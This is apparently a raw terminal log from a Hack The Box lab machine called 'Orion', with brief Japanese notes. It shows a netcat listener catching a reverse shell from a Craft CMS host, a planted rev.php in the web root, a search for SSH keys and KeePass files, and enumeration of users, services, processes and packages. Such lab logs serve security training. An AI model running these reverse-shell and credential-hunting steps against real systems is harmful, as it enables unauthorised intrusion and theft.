/var/www/html/craft/storage/runtime/compiled_templates/bc/bcd323b69517163233f8a665c85ba5f6.php:64: if (craft\helpers\Template::attribute($this->env, $this->source, (isset($context["generalConfig"]) || array_key_exists("generalConfig", $context) ? $context["generalConfig"] : (function () { throw new RuntimeError('Variable "generalConfig" does not exist.', 10, $this->source); })()), "useEmailAsUsername", [], "any", false, false, false, 10)) {
/var/www/html/craft/storage/runtime/compiled_templates/bc/bcd323b69517163233f8a665c85ba5f6.php:88: if ((isset($context["staticEmail"]) || array_key_exists("staticEmail", $context) ? $context["staticEmail"] : (function () { throw new RuntimeError('Variable "staticEmail" does not exist.', 28, $this->source); })())) {
/var/www/html/craft/storage/runtime/compiled_templates/bc/bcd323b69517163233f8a665c85ba5f6.php:91: yield craft\helpers\Html::hiddenInput("username", (isset($context["staticEmail"]) || array_key_exists("staticEmail", $context) ? $context["staticEmail"] : (function () { throw new RuntimeError('Variable "staticEmail" does not exist.', 29, $this->source); })()), ["class" => "login-username"]);
/var/www/html/craft/storage/runtime/compiled_templates/bc/bcd323b69517163233f8a665c85ba5f6.php:99:(isset($context["usernameLabel"]) || array_key_exists("usernameLabel", $context) ? $context["usernameLabel"] : (function () { throw new RuntimeError('Variable "usernameLabel" does not exist.', 34, $this->source); })()), "class" => "login-username", "name" => "username", "value" => // line 37
/var/www/html/craft/storage/runtime/compiled_templates/bc/bcd323b69517163233f8a665c85ba5f6.php:100:(isset($context["username"]) || array_key_exists("username", $context) ? $context["username"] : (function () { throw new RuntimeError('Variable "username" does not exist.', 37, $this->source); })()), "autocomplete" => "username", "autocapitalize" => false, "type" => // line 40
/var/www/html/craft/storage/runtime/compiled_templates/bc/bcd323b69517163233f8a665c85ba5f6.php:101:(isset($context["usernameType"]) || array_key_exists("usernameType", $context) ? $context["usernameType"] : (function () { throw new RuntimeError('Variable "usernameType" does not exist.', 40, $this->source); })()), "inputAttributes" => ["aria" => ["required" => "true"]]]]);
/var/www/html/craft/storage/runtime/compiled_templates/bc/bcd323b69517163233f8a665c85ba5f6.php:111: yield $macros["forms"]->getTemplateForMacro("macro_passwordField", $context, 50, $this->getSourceContext())->macro_passwordField(...[["label" => $this->extensions['craft\web\twig\Extension']->translateFilter("Password", "app"), "class" => "login-password", "name" => "password", "autocomplete" => "current-password", "inputAttributes" => ["aria" => ["required" => "true"]]]]);
/var/www/html/craft/storage/runtime/compiled_templates/bc/bcd323b69517163233f8a665c85ba5f6.php:116: if ((isset($context["showResetPassword"]) || array_key_exists("showResetPassword", $context) ? $context["showResetPassword"] : (function () { throw new RuntimeError('Variable "showResetPassword" does not exist.', 61, $this->source); })())) {
/var/www/html/craft/storage/runtime/compiled_templates/bc/bcd323b69517163233f8a665c85ba5f6.php:118: yield " <button type=\"button\" class=\"btn login-forgot-password chromeless\">";
/var/www/html/craft/storage/runtime/compiled_templates/bc/bcd323b69517163233f8a665c85ba5f6.php:119: yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape($this->extensions['craft\web\twig\Extension']->translateFilter("Forgot password?", "app"), "html", null, true);
/var/www/html/craft/storage/runtime/compiled_templates/bc/bcd323b69517163233f8a665c85ba5f6.php:128: if (((isset($context["showRememberMeCheckbox"]) || array_key_exists("showRememberMeCheckbox", $context) ? $context["showRememberMeCheckbox"] : (function () { throw new RuntimeError('Variable "showRememberMeCheckbox" does not exist.', 66, $this->source); })()) && craft\helpers\Template::attribute($this->env, $this->source, (isset($context["generalConfig"]) || array_key_exists("generalConfig", $context) ? $context["generalConfig"] : (function () { throw new RuntimeError('Variable "generalConfig" does not exist.', 66, $this->source); })()), "rememberedUserSessionDuration", [], "any", false, false, false, 66))) {
/var/www/html/craft/storage/runtime/compiled_templates/bc/bcd323b69517163233f8a665c85ba5f6.php:132:(isset($context["generalConfig"]) || array_key_exists("generalConfig", $context) ? $context["generalConfig"] : (function () { throw new RuntimeError('Variable "generalConfig" does not exist.', 69, $this->source); })()), "getRememberedUserSessionDuration", [], "method", false, false, false, 69))]), "class" => "login-remember-me"]]);
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.15.222] from (UNKNOWN) [10.129.62.191] 34920
SOCKET: Shell has connected! PID: 1650
script -qc /bin/bash /dev/null
www-data@orion:~/html/craft/web$ stty raw -echo; fg
stty raw -echo; fg
bash: fg: current: no such job
www-data@orion:~/html/craft/web$ stty size
0 0
www-data@orion:~/html/craft/web$ export TERM=xterm-256color
www-data@orion:~/html/craft/web$ stty rows 38 columns 116
www-data@orion:~/html/craft/web$ find /home -name "id_rsa" -o -name "*.kdbx" -o -name "*.bak" -o -name "*.zip" 2>/dev/null
www-data@orion:~/html/craft/web$
www-data@orion:~/html/craft/web$ ss -lntup |grep -i tcp
tcp LISTEN 0 10 127.0.0.1:23 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:* users:(("nginx",pid=1087,fd=6),("nginx",pid=1086,fd=6))
tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
www-data@orion:~/html/craft/web$
⇒
127.0.0.1:23
127.0.0.1:3306
telnetとmysql
???
ログイン可能そうなユーザー
grep -Ev 'nologin|/bin/false|/bin/sync' /etc/passwd
ホームディレクトリ確認
ls -la /home/
www-data@orion:/tmp$ grep -Ev 'nologin|/bin/false|/bin/sync' /etc/passwd
root:x:0:0:root:/root:/bin/bash
adam:x:1000:1000::/home/adam:/bin/bash
www-data@orion:/tmp$ ls -la /home/
total 12
drwxr-xr-x 3 root root 4096 May 12 08:15 .
drwxr-xr-x 19 root root 4096 May 12 08:15 ..
drwxr-x--- 5 adam adam 4096 May 12 08:15 adam
www-data@orion:/tmp$
adam
???
cat /etc/passwd
cat /etc/issue 2>/dev/null
cat /etc/os-release 2>/dev/null
uname -a
arch
ps auxww
ip -br addr
ip route
ss -anp
cat /etc/iptables/rules.v4 2>/dev/null
crontab -l
grep -i CRON /var/log/syslog 2>/dev/null
dpkg -l 2>/dev/null
rpm -qa 2>/dev/null
cat /etc/fstab
mount
lsblk
lsmod
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:114:120:MySQL Server,,,:/nonexistent:/bin/false
adam:x:1000:1000::/home/adam:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
www-data@orion:/etc$ cat /etc/issue 2>/dev/null
cat /etc/issue 2>/dev/null
Ubuntu 22.04.5 LTS \n \l
www-data@orion:/etc$ cat /etc/os-release 2>/dev/null
cat /etc/os-release 2>/dev/null
PRETTY_NAME="Ubuntu 22.04.5 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.5 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
www-data@orion:/etc$ uname -a
uname -a
Linux orion 5.15.0-177-generic #187-Ubuntu SMP Sat Apr 11 22:54:33 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux
www-data@orion:/etc$ arch
arch
x86_64
www-data@orion:/etc$ ps auxww
ps auxww
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.2 166272 11396 ? Ss 10:20 0:01 /sbin/init
root 2 0.0 0.0 0 0 ? S 10:20 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? I< 10:20 0:00 [rcu_gp]
root 4 0.0 0.0 0 0 ? I< 10:20 0:00 [rcu_par_gp]
root 5 0.0 0.0 0 0 ? I< 10:20 0:00 [slub_flushwq]
root 6 0.0 0.0 0 0 ? I< 10:20 0:00 [netns]
root 8 0.0 0.0 0 0 ? I< 10:20 0:00 [kworker/0:0H-events_highpri]
root 10 0.0 0.0 0 0 ? I< 10:20 0:00 [mm_percpu_wq]
root 11 0.0 0.0 0 0 ? S 10:20 0:00 [rcu_tasks_rude_]
root 12 0.0 0.0 0 0 ? S 10:20 0:00 [rcu_tasks_trace]
root 13 0.0 0.0 0 0 ? S 10:20 0:00 [ksoftirqd/0]
root 14 0.0 0.0 0 0 ? I 10:20 0:01 [rcu_sched]
root 15 0.0 0.0 0 0 ? S 10:20 0:00 [migration/0]
root 16 0.0 0.0 0 0 ? S 10:20 0:00 [idle_inject/0]
root 18 0.0 0.0 0 0 ? S 10:20 0:00 [cpuhp/0]
root 19 0.0 0.0 0 0 ? S 10:20 0:00 [cpuhp/1]
root 20 0.0 0.0 0 0 ? S 10:20 0:00 [idle_inject/1]
root 21 0.0 0.0 0 0 ? S 10:20 0:00 [migration/1]
root 22 0.0 0.0 0 0 ? S 10:20 0:00 [ksoftirqd/1]
root 24 0.0 0.0 0 0 ? I< 10:20 0:00 [kworker/1:0H-events_highpri]
root 25 0.0 0.0 0 0 ? S 10:20 0:00 [kdevtmpfs]
root 26 0.0 0.0 0 0 ? I< 10:20 0:00 [inet_frag_wq]
root 27 0.0 0.0 0 0 ? S 10:20 0:00 [kauditd]
root 28 0.0 0.0 0 0 ? S 10:20 0:00 [khungtaskd]
root 29 0.0 0.0 0 0 ? S 10:20 0:00 [oom_reaper]
root 30 0.0 0.0 0 0 ? I< 10:20 0:00 [writeback]
root 31 0.0 0.0 0 0 ? S 10:20 0:00 [kcompactd0]
root 32 0.0 0.0 0 0 ? SN 10:20 0:00 [ksmd]
root 33 0.0 0.0 0 0 ? SN 10:20 0:00 [khugepaged]
root 80 0.0 0.0 0 0 ? I< 10:20 0:00 [kintegrityd]
root 81 0.0 0.0 0 0 ? I< 10:20 0:00 [kblockd]
root 82 0.0 0.0 0 0 ? I< 10:20 0:00 [blkcg_punt_bio]
root 83 0.0 0.0 0 0 ? I< 10:20 0:00 [tpm_dev_wq]
root 84 0.0 0.0 0 0 ? I< 10:20 0:00 [ata_sff]
root 85 0.0 0.0 0 0 ? I< 10:20 0:00 [md]
root 86 0.0 0.0 0 0 ? I< 10:20 0:00 [edac-poller]
root 87 0.0 0.0 0 0 ? I< 10:20 0:00 [devfreq_wq]
ps axjf
hostname
^C
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.15.222] from (UNKNOWN) [10.129.62.191] 38950
SOCKET: Shell has connected! PID: 1862
script -qc /bin/bash /dev/null
www-data@orion:~/html/craft/web$ ls
ls
assets cpresources index.html index.php phpinfo.php rev.php
www-data@orion:~/html/craft/web$ ss -anp
ss -anp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
nl UNCONN 0 0 0:0 *
nl UNCONN 0 0 0:845 *
nl UNCONN 0 0 0:845 *
nl UNCONN 4352 0 4:1869 *
nl UNCONN 768 0 4:0 *
nl UNCONN 0 0 7:0 *
nl UNCONN 0 0 9:0 *
nl UNCONN 0 0 9:1 *
nl UNCONN 0 0 9:-99038063 *
nl UNCONN 0 0 9:592 *
nl UNCONN 0 0 9:1 *
nl UNCONN 0 0 10:0 *
nl UNCONN 0 0 11:0 *
nl UNCONN 0 0 15:-815566558 *
nl UNCONN 0 0 15:974 *
nl UNCONN 0 0 15:537 *
nl UNCONN 0 0 15:-1489271754 *
nl UNCONN 0 0 15:972 *
nl UNCONN 0 0 15:-709973071 *
nl UNCONN 0 0 15:1 *
nl UNCONN 0 0 15:970 *
nl UNCONN 0 0 15:-1086536473 *
nl UNCONN 0 0 15:535 *
nl UNCONN 0 0 15:1021 *
nl UNCONN 0 0 15:0 *
nl UNCONN 0 0 15:970 *
nl UNCONN 0 0 15:1021 *
nl UNCONN 0 0 15:-1489271754 *
nl UNCONN 0 0 15:-815566558 *
nl UNCONN 0 0 15:-1086536473 *
nl UNCONN 0 0 15:972 *
nl UNCONN 0 0 15:974 *
nl UNCONN 0 0 15:535 *
nl UNCONN 0 0 15:-709973071 *
nl UNCONN 0 0 15:1 *
nl UNCONN 0 0 16:0 *
nl UNCONN 0 0 18:0 *
p_raw UNCONN 0 0 *:eth0 *
u_str LISTEN 0 4096 /var/snap/lxd/common/lxd/unix.socket 24286 * 0
u_str LISTEN 0 4096 /var/snap/lxd/common/lxd-user/unix.socket 24288 * 0
u_str LISTEN 0 4096 @/org/kernel/linux/storage/multipathd 18664 * 0
u_str LISTEN 0 1 /run/irqbalance/irqbalance956.sock 24502 * 0
u_str LISTEN 0 80 /run/mysqld/mysqld.sock 23396 * 0
u_str LISTEN 0 4096 /run/php/php8.2-fpm.sock 26983 * 0 users:(("ss",pid=1869,fd=10),("bash",pid=1866,fd=10),("sh",pid=1865,fd=10),("script",pid=1864,fd=10),("sh",pid=1863,fd=10),("sh",pid=1862,fd=10),("bash",pid=1759,fd=10),("sh",pid=1758,fd=10),("script",pid=1757,fd=10),("sh",pid=1746,fd=10),("sh",pid=1745,fd=10),("bash",pid=1530,fd=10),("sh",pid=1529,fd=10),("script",pid=1528,fd=10),("bash",pid=1526,fd=10),("sh",pid=1525,fd=10),("script",pid=1524,fd=10),("sh",pid=1437,fd=10),("sh",pid=1436,fd=10))
u_str LISTEN 0 4096 /run/php/php8.4-fpm.sock 25994 * 0
u_dgr ESTAB 0 0 /run/systemd/notify 18304 * 0
u_str LISTEN 0 4096 /run/systemd/private 18307 * 0
u_str LISTEN 0 4096 /run/systemd/userdb/io.systemd.DynamicUser 18309 * 0
u_str LISTEN 0 4096 /run/systemd/io.system.ManagedOOM 18310 * 0
u_str LISTEN 0 4096 /run/lvm/lvmpolld.socket 18662 * 0
u_dgr UNCONN 0 0 /run/systemd/journal/syslog 18665 * 0
u_str LISTEN 0 4096 /run/systemd/fsck.progress 18667 * 0
u_dgr ESTAB 0 0 /run/systemd/journal/dev-log 18674 * 0
u_dgr ESTAB 0 0 /run/systemd/journal/socket 18676 * 0
u_str LISTEN 0 4096 /run/systemd/journal/stdout 18678 * 0
u_seq LISTEN 0 4096 /run/udev/control 18680 * 0
u_str LISTEN 0 4096 /run/systemd/journal/io.systemd.journal 18341 * 0
u_str LISTEN 0 4096 @ISCSIADM_ABSTRACT_NAMESPACE 24285 * 0
u_str LISTEN 0 32 /var/run/vmware/guestServicePipe 22536 * 0
u_str LISTEN 0 4096 /run/systemd/resolve/io.systemd.Resolve 23805 * 0
u_str LISTEN 0 4096 /run/dbus/system_bus_socket 24277 * 0
u_str LISTEN 0 4096 /run/snapd.socket 24290 * 0
u_str LISTEN 0 4096 /run/snapd-snap.socket 24292 * 0
u_str LISTEN 0 4096 /run/uuidd/request 24294 * 0
u_str ESTAB 0 0 * 24468 * 24469
u_str ESTAB 0 0 * 19784 * 19783
u_str ESTAB 0 0 /run/dbus/system_bus_socket 24770 * 23221
u_dgr ESTAB 0 0 * 21175 * 18676
u_str ESTAB 0 0 * 26981 * 26982
u_str ESTAB 0 0 * 19783 * 19784
u_dgr ESTAB 0 0 * 18306 * 18305
u_str ESTAB 0 0 * 25992 * 25993
u_str ESTAB 0 0 * 23198 * 23197 users:(("nginx",pid=1086,fd=7))
u_dgr ESTAB 0 0 * 18822 * 18823
u_str ESTAB 0 0 /run/systemd/journal/stdout 24644 * 23182
u_str ESTAB 0 0 * 24390 * 24389
u_dgr ESTAB 0 0 * 22980 * 18674
u_str ESTAB 0 0 * 26982 * 26981 cat /etc/iptables/rules.v4 2>/dev/null
cat /etc/iptables/rules.v4 2>/dev/null
www-data@orion:~/html/craft/web$ ^[[Dcrontab -l
crontab -l
no crontab for www-data
www-data@orion:~/html/craft/web$ crontab -l
crontab -l
no crontab for www-data
www-data@orion:~/html/craft/web$ grep -i CRON /var/log/syslog 2>/dev/null
grep -i CRON /var/log/syslog 2>/dev/null
www-data@orion:~/html/craft/web$ dpkg -l 2>/dev/null
dpkg -l 2>/dev/null
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name Version >
+++-======================================-====================================>
ii adduser 3.118ubuntu5 >
ii amd64-microcode 3.20191218.1ubuntu2.3 >
ii apparmor 3.0.4-2ubuntu2.5 >
ii apport 2.20.11-0ubuntu82.10 >
ii apport-symptoms 0.24 >
ii apt 2.4.14 >
ii apt-transport-https 2.4.14 >
ii apt-utils 2.4.14 >
ii auditd 1:3.0.7-1build1 >
ii autoconf 2.71-2 >
ii automake 1:1.16.5-1.3 >
ii autotools-dev 20220109.1 >
ii base-files 12ubuntu4.7 >
ii base-passwd 3.5.52build1 >
ii bash 5.1-6ubuntu1.1 >
ii bash-completion 1:2.11-5ubuntu1 >
ii bc 1.07.1-3build1 >
ii bcache-tools 1.0.8-4ubuntu3 >
lines 1-23
ii bind9-dnsutils 1:9.18.39-0ubuntu0.22.04.3 >
lines 2-24
ii bind9-host 1:9.18.39-0ubuntu0.22.04.3 >
ii bind9-libs:amd64 1:9.18.39-0ubuntu0.22.04.3 >
ii binutils 2.38-4ubuntu2.12 >
ii binutils-common:amd64 2.38-4ubuntu2.12 >
ii binutils-x86-64-linux-gnu 2.38-4ubuntu2.12 >
ii bolt 0.9.2-1 >
ii bsdextrautils 2.37.2-4ubuntu3.5 >
ii bsdutils 1:2.37.2-4ubuntu3.5 >
ii btrfs-progs 5.16.2-1 >
ii build-essential 12.9ubuntu3 >
ii busybox-initramfs 1:1.30.1-7ubuntu3.1 >
ii busybox-static 1:1.30.1-7ubuntu3.1 >
ii byobu 5.133-1 >
ii bzip2 1.0.8-5build1 >
ii ca-certificates 20240203~22.04.1 >
ii cloud-guest-utils 0.32-22-g45fe84a5-0ubuntu1 >
ii cloud-initramfs-copymods 0.47ubuntu1 >
ii cloud-initramfs-dyn-netconf 0.47ubuntu1 >
ii command-not-found 22.04.0 >
ii console-setup 1.205ubuntu3 >
ii console-setup-linux 1.205ubuntu3 >
ii coreutils 8.32-4.1ubuntu1.3 >
ii cpio 2.13+dfsg-7ubuntu0.1 >
ii cpp 4:11.2.0-1ubuntu1 >
lines 26-48
ii cpp-11 11.4.0-1ubuntu1~22.04.3 >
lines 27-49
ii cron 3.0pl1-137ubuntu3 >
lines 28-50
ii cryptsetup 2:2.4.3-1ubuntu1.3 >
lines 29-51
ii cryptsetup-bin 2:2.4.3-1ubuntu1.3 >
lines 30-52
ii cryptsetup-initramfs 2:2.4.3-1ubuntu1.3 >
lines 31-53
ii curl 7.81.0-1ubuntu1.24 >
lines 32-54
ii dash 0.5.11+git20210903+057cd650a4ed-3bui>
lines 33-55
ii dbus 1.12.20-2ubuntu4.1 >
ii dbus-user-session 1.12.20-2ubuntu4.1 >
ii debconf 1.5.79ubuntu1 >
ii debconf-i18n 1.5.79ubuntu1 >
ii debianutils 5.5-1ubuntu2 >
ii diffutils 1:3.8-0ubuntu2 >
ii dirmngr 2.2.27-3ubuntu2.5 >
ii distro-info 1.1ubuntu0.2 >
ii distro-info-data 0.52ubuntu0.12 >
ii dmeventd 2:1.02.175-2.1ubuntu5 >
ii dmidecode 3.3-3ubuntu0.2 >
ii dmsetup 2:1.02.175-2.1ubuntu5 >
ii dosfstools 4.2-1build3 >
ii dpkg 1.21.1ubuntu2.6 >
ii dpkg-dev 1.21.1ubuntu2.6 >
ii e2fsprogs 1.46.5-2ubuntu1.2 >
ii ed 1.18-1 >
ii eject 2.37.2-4ubuntu3.5 >
ii ethtool 1:5.16-1ubuntu0.2 >
ii fakeroot 1.28-1ubuntu1 >
ii fdisk 2.37.2-4ubuntu3.5 >
ii file 1:5.41-3ubuntu0.1 >
ii finalrd 9build1 >
ii findutils 4.8.0-1ubuntu3 >
lines 57-79^[[B
ii firmware-sof-signed 2.0-1ubuntu4.7 >
lines 58-80
ii fontconfig-config 2.13.1-4.2ubuntu5 >
lines 59-81
ii fonts-dejavu-core 2.37-2build1 >
lines 60-82
ii fonts-ubuntu-console 0.83-6ubuntu1 >
lines 61-83
ii friendly-recovery 0.2.42 >
lines 62-84
ii ftp 20210827-4build1 >
lines 63-85
ii fuse3 3.10.5-1build1 >
lines 64-86
ii fwupd 1.7.9-1~22.04.3 >
lines 65-87
ii fwupd-signed 1.51.1~22.04.1+1.4-0ubuntu0.1 >
lines 66-88
ii g++ 4:11.2.0-1ubuntu1 >
lines 67-89
ii g++-11 11.4.0-1ubuntu1~22.04.3 >
ii galera-4 26.4.9-1build1 >
lines 69-91
ii gawk 1:5.1.0-1ubuntu0.1 >
ii gcc 4:11.2.0-1ubuntu1 >
ii gcc-11 11.4.0-1ubuntu1~22.04.3 >
lines 72-94
ii gcc-11-base:amd64 11.4.0-1ubuntu1~22.04.3 >
ii gcc-12-base:amd64 12.3.0-1ubuntu1~22.04.3 >
lines 74-96
ii gdisk 1.0.8-4build1 >
lines 75-97
ii gettext-base 0.21-4ubuntu4 >
ii gir1.2-glib-2.0:amd64 1.72.0-1 >
ii gir1.2-packagekitglib-1.0 1.2.5-2ubuntu3.1 >
ii git 1:2.34.1-1ubuntu1.17 >
lines 79-101
ii git-man 1:2.34.1-1ubuntu1.17 >
ii gnupg 2.2.27-3ubuntu2.5 >
lines 81-103
ii gnupg-l10n 2.2.27-3ubuntu2.5 >
lines 82-104
ii gnupg-utils 2.2.27-3ubuntu2.5 >
ii gpg 2.2.27-3ubuntu2.5 >
ii gpg-agent 2.2.27-3ubuntu2.5 >
ii gpg-wks-client 2.2.27-3ubuntu2.5 >
lines 86-108
ii gpg-wks-server 2.2.27-3ubuntu2.5 >
ii gpgconf 2.2.27-3ubuntu2.5 >
lines 88-110
ii gpgsm 2.2.27-3ubuntu2.5 >
lines 89-111
ii gpgv 2.2.27-3ubuntu2.5 >
ii grep 3.7-1build1 >
ii groff-base 1.22.4-8build1 >
ii grub-common 2.06-2ubuntu7.2 >
lines 93-115
ii grub-gfxpayload-lists 0.7 >
ii grub-pc 2.06-2ubuntu7.2 >
lines 95-117
ii grub-pc-bin 2.06-2ubuntu7.2 >
lines 96-118
ii grub2-common 2.06-2ubuntu7.2 >
ii gzip 1.10-4ubuntu4.1 >
ii hdparm 9.60+ds-1build3 >
ii hostname 3.23ubuntu2 >
lines 100-122
ii htop 3.0.5-7build2 >
ii ifupdown 0.8.36+nmu1ubuntu3.1 >
lines 102-124
ii inetutils-inetd 2:2.2-2ubuntu0.2 >
lines 103-125
ii info 6.8-4build1 >
ii init 1.62 >
ii init-system-helpers 1.62 >
ii initramfs-tools 0.140ubuntu13.5 >
lines 107-129
ii initramfs-tools-bin 0.140ubuntu13.5 >
lines 108-130
ii initramfs-tools-core 0.140ubuntu13.5 >
ii install-info 6.8-4build1 >
lines 110-132
ii intel-microcode 3.20260210.0ubuntu0.22.04.1 >
ii iproute2 5.15.0-1ubuntu2.1 >
ii iptables 1.8.7-1ubuntu5.2 >
ii iputils-ping 3:20211215-1ubuntu0.1 >
ii iputils-tracepath 3:20211215-1ubuntu0.1 >
ii irqbalance 1.8.0-1ubuntu0.2 >
ii isc-dhcp-client 4.4.1-2.3ubuntu2.4 >
lines 117-139
ii isc-dhcp-common 4.4.1-2.3ubuntu2.4 >
ii iso-codes 4.9.0-1 >
ii iucode-tool 2.3.1-1build1 >
ii kbd 2.3.0-3ubuntu4.22.04 >
ii keyboard-configuration 1.205ubuntu3 >
ii klibc-utils 2.0.10-4ubuntu0.2 >
ii kmod 29-1ubuntu1.1 >
ii kpartx 0.8.8-1ubuntu1.22.04.4 >
ii landscape-common 23.02-0ubuntu1~22.04.7 >
ii less 590-1ubuntu0.22.04.3 >
ii libabsl20210324:amd64 0~20210324.2-2ubuntu0.3 >
ii libacl1:amd64 2.3.1-1 >
ii libaio1:amd64 0.3.112-13build1 >
ii libalgorithm-diff-perl 1.201-1 >
ii libalgorithm-diff-xs-perl 0.04-6build3 >
ii libalgorithm-merge-perl 0.08-3 >
ii libaom3:amd64 3.3.0-1ubuntu0.1 >
ii libapparmor1:amd64 3.0.4-2ubuntu2.5 >
ii libappstream4:amd64 0.15.2-2 >
ii libapt-pkg6.0:amd64 2.4.14 >
ii libarchive13:amd64 3.6.0-1ubuntu1.6 >
ii libargon2-1:amd64 0~20171227-0.3 >
ii libasan6:amd64 11.4.0-1ubuntu1~22.04.3 >
ii libassuan0:amd64 2.5.5-1build1 >
ii libatasmart4:amd64 0.19-5build2 >
ii libatm1:amd64 1:2.5.1-4build2 >
ii libatomic1:amd64 12.3.0-1ubuntu1~22.04.3 >
ii libattr1:amd64 1:2.5.1-1build1 >
ii libaudit-common 1:3.0.7-1build1 >
ii libaudit1:amd64 1:3.0.7-1build1 >
ii libauparse0:amd64 1:3.0.7-1build1 >
ii libavif13:amd64 0.9.3-3 >
ii libbinutils:amd64 2.38-4ubuntu2.12 >
ii libblkid1:amd64 2.37.2-4ubuntu3.5 >
ii libblockdev-crypto2:amd64 2.26-1ubuntu0.1 >
ii libblockdev-fs2:amd64 2.26-1ubuntu0.1 >
ii libblockdev-loop2:amd64 2.26-1ubuntu0.1 >
ii libblockdev-part-err2:amd64 2.26-1ubuntu0.1 >
ii libblockdev-part2:amd64 2.26-1ubuntu0.1 >
ii libblockdev-swap2:amd64 2.26-1ubuntu0.1 >
ii libblockdev-utils2:amd64 2.26-1ubuntu0.1 >
ii libblockdev2:amd64 2.26-1ubuntu0.1 >
ii libbpf0:amd64 1:0.5.0-1ubuntu22.04.1 >
ii libbrotli1:amd64 1.0.9-2build6 >
ii libbsd0:amd64 0.11.5-1 >
ii libbz2-1.0:amd64 1.0.8-5build1 >
ii libc-bin 2.35-0ubuntu3.13 >
ii libc-dev-bin 2.35-0ubuntu3.13 >
ii libc-devtools 2.35-0ubuntu3.13 >
ii libc6:amd64 2.35-0ubuntu3.13 >
ii libc6-dev:amd64 2.35-0ubuntu3.13 >
ii libcap-ng0:amd64 0.7.9-2.2build3 >
ii libcap2:amd64 1:2.44-1ubuntu0.22.04.3 >
ii libcap2-bin 1:2.44-1ubuntu0.22.04.3 >
ii libcbor0.8:amd64 0.8.0-2ubuntu1 >
ii libcc1-0:amd64 12.3.0-1ubuntu1~22.04.3 >
ii libcgi-fast-perl 1:2.15-1 >
ii libcgi-pm-perl 4.54-1 >
ii libclone-perl 0.45-1build3 >
ii libcom-err2:amd64 1.46.5-2ubuntu1.2 >
ii libconfig-inifiles-perl 3.000003-1 >
ii libcrypt-dev:amd64 1:4.4.27-1 >
ii libcrypt1:amd64 1:4.4.27-1 >
ii libcryptsetup12:amd64 2:2.4.3-1ubuntu1.3 >
ii libctf-nobfd0:amd64 2.38-4ubuntu2.12 >
ii libctf0:amd64 2.38-4ubuntu2.12 >
ii libcurl3-gnutls:amd64 7.81.0-1ubuntu1.24 >
ii libcurl4:amd64 7.81.0-1ubuntu1.24 >
ii libdav1d5:amd64 0.9.2-1 >
ii libdb5.3:amd64 5.3.28+dfsg1-0.8ubuntu3 >
ii libdbd-mysql-perl:amd64 4.050-5ubuntu0.22.04.1 >
ii libdbi-perl:amd64 1.643-3build3 >
ii libdbus-1-3:amd64 1.12.20-2ubuntu4.1 >
ii libdbus-glib-1-2:amd64 0.112-2build1 >
ii libde265-0:amd64 1.0.8-1ubuntu0.3 >
ii libdebconfclient0:amd64 0.261ubuntu1 >
ii libdeflate0:amd64 1.10-2 >
